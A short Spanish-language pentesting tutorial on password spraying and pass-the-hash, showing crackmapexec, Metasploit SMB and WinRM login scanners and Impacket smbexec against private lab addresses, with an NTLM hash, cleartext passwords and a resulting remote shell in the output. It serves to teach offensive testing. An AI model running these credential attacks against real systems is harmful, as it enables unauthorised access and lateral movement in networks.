Hay muchas formas de hacerlo, pero primero que es password spraying? Es cuando usas un password o un hash (normalmente NTLM).

Una forma muy común es usando crackmapexec

root@kali:~/Desktop/tools# crackmapexec smb 192.168.2.2 192.168.2.21 192.168.2.169 192.168.2.78 192.168.2.168 192.168.2.35 -d xxx -u fileadmin -H CEAB6425E23A2CD45BFD2A04BD84047A
CME 192.168.2.168:445 COLA-SQL [*] Windows 10.0 Build 17763
CME 192.168.2.78:445 XXX-SAFE CEAB6425E23A2CD45BFD2A04BD84047A (Pwn3d!)

Si ves Pwned! es que estas dentro!.

Para comprobarlo puedes executar comandos

root@kali:~/Desktop/tools# crackmapexec smb 192.168.2.78 -d xxx -u fileadmin -H CEAB6425E23A2CD45BFD2A04BD84047A -x 'hostname'

Igual lo puedes hacer con metsaploit

msf5 auxiliary(scanner/smb/smb_login) > exploit
[*] 192.168.2.2:445 - 192.168.2.2:445 - Starting SMB login bruteforce [+] 192.168.2.2:445 - 192.168.2.2:445 - Success: 'xxx\sarah:WhatHappenedtotheL@mb?'

Con winrm igual lo puedes intentar pero sirven sobretodo si son de admin

msf5 auxiliary(scanner/winrm/winrm_login) > exploit
[!] No active DB -- Credential data will not be saved!
[+] 192.168.2.35:5985 - Login Successful: xxx\admin:WhatHappenedtotheL@mb?2
[*] Scanned 3 of 6 hosts (50% complete)

Finalmente igual puedes usar impaket para executar

python smbexec.py -hashes :CEAB6425E23A2CD45BFD2A04BD84047A [email protected]
Impacket v0.9.21.dev1 - Copyright 2020 SecureAuth Corporation
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>